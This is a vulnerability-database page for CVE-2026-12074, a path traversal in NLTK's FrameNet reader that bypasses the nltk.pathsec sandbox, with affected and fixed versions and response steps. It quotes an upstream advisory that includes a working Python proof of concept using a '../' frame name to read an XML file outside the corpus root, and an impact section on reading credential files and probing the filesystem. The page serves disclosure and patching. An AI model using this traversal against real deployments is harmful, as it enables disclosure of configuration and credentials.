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  4. CVE 2026 12074 natural language toolkit nltk has path traversal
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Back to active CVEs
High · CVSS 7.5CVE-2026-12074GHSA-XH95-F55M-82FW

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True)CVE-2026-12074

Answer in brief

CVE-2026-12074 records a High severity (CVSS 7.5) vulnerability in Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True). The current sources do not mark it as known exploited. The current feed maps nltk (pip), nltk (pypi). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jul 31, 2026Updated Sep 10, 2026Source checked Nov 1, 2026First seen by HOL Aug 2, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High · CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps nltk (pip), nltk (pypi). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
nltkpip<=3.9.43.10.0
nltkpypi>=0 <3.10.03.10.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for nltk, nltk.
  2. 2Review the reported fix. Update nltk to 3.10.0; nltk to 3.10.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jul 31, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Aug 2, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

### Summary `FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller. ### Details `frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply. The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - `doc()` — uses the index entry `filename` field - the lexical-unit file loader — uses the `lexUnit` ID attribute These are reachable through a malicious or attacker-modified FrameNet corpus index. ### PoC ```python """ import os import sys import tempfile import warnings from pathlib import Path warnings.filterwarnings("ignore") # --- Turn the documented strict sandbox ON, before importing the reader. --- import nltk.pathsec as ps ps.ENFORCE = True import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n' "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n" "</frame>\n" ) BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE ) def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?><frameIndex></frameIndex>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?><frameRelations></frameRelations>' ) # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML) return base, root, secret / "secret.xml" def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n") fn = FramenetCorpusReader(str(root), []) # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})") try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected: {definition!r}") verdict = "INCONCLUSIVE" except FramenetError as e: # Patched build (#3581): _reject_unsafe_path_component raises before open(). print(f"\n [SAFE] FramenetError: {e}") print(" traversal rejected before any file was opened (patched)") verdict = "NOT VULNERABLE" except Exception as e: print(f"\n [SAFE] {type(e).__name__}: {e}") verdict = "NOT VULNERABLE" # Control: a plain absent name must fail as 'Unknown frame', NOT as a read. print("\n[CONTROL] benign absent name should be 'Unknown frame':") try: fn.frame("Definitely_Not_A_Frame") print(" [?] unexpectedly succeeded") except Exception as e: print(f" ok -> {type(e).__name__}: {e}") print("\n" + "=" * 59) print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59) if __name__ == "__main__": main() ``` ### Impact - **Out-of-sandbox arbitrary XML read.** Any application that routes attacker-influenced input into `frame()` can be made to read XML files from directories outside the intended corpus root and have their parsed content returned. `frame()` is a primary public API designed to accept a caller-specified frame name, so this is a natural exposure for any service exposing FrameNet lookups to user input. - **Broad read primitive.** Only a fixed `.xml` extension is appended; the attacker controls both directory and basename, giving "read any XML file the process can read." Full content disclosure requires frame-shaped XML; other files yield a distinguishable parse error that acts as a file-existence/readability oracle for arbitrary paths. - **Silent bypass of an advertised boundary.** NLTK's `SECURITY.md` presents the `nltk.pathsec` sandbox and `ENFORCE=True` as a hard boundary for web apps, multi-tenant pipelines, and CI/CD. Because `frame_by_name` builds the path itself and reads through a string-path `XMLCorpusView`, the containment guard is never called and `ENFORCE=True` does not block the read — silently, with no error or warning. - **Crafted-corpus reach.** Via `doc()` and the lexical-unit loader, a malicious FrameNet data directory drives the same traversal with no caller-supplied name. - **Sensitive targets.** Depending on deployment, readable out-of-root XML can include application configuration, data exports, and on-disk credentials stored as XML; the oracle behavior also allows filesystem mapping. Where `frame()` output is reflected to the requester, disclosure is direct and non-blind.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Path Traversal
EPSS
Not reported
CWE IDs
Not reported
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
3 linked sources
Open source record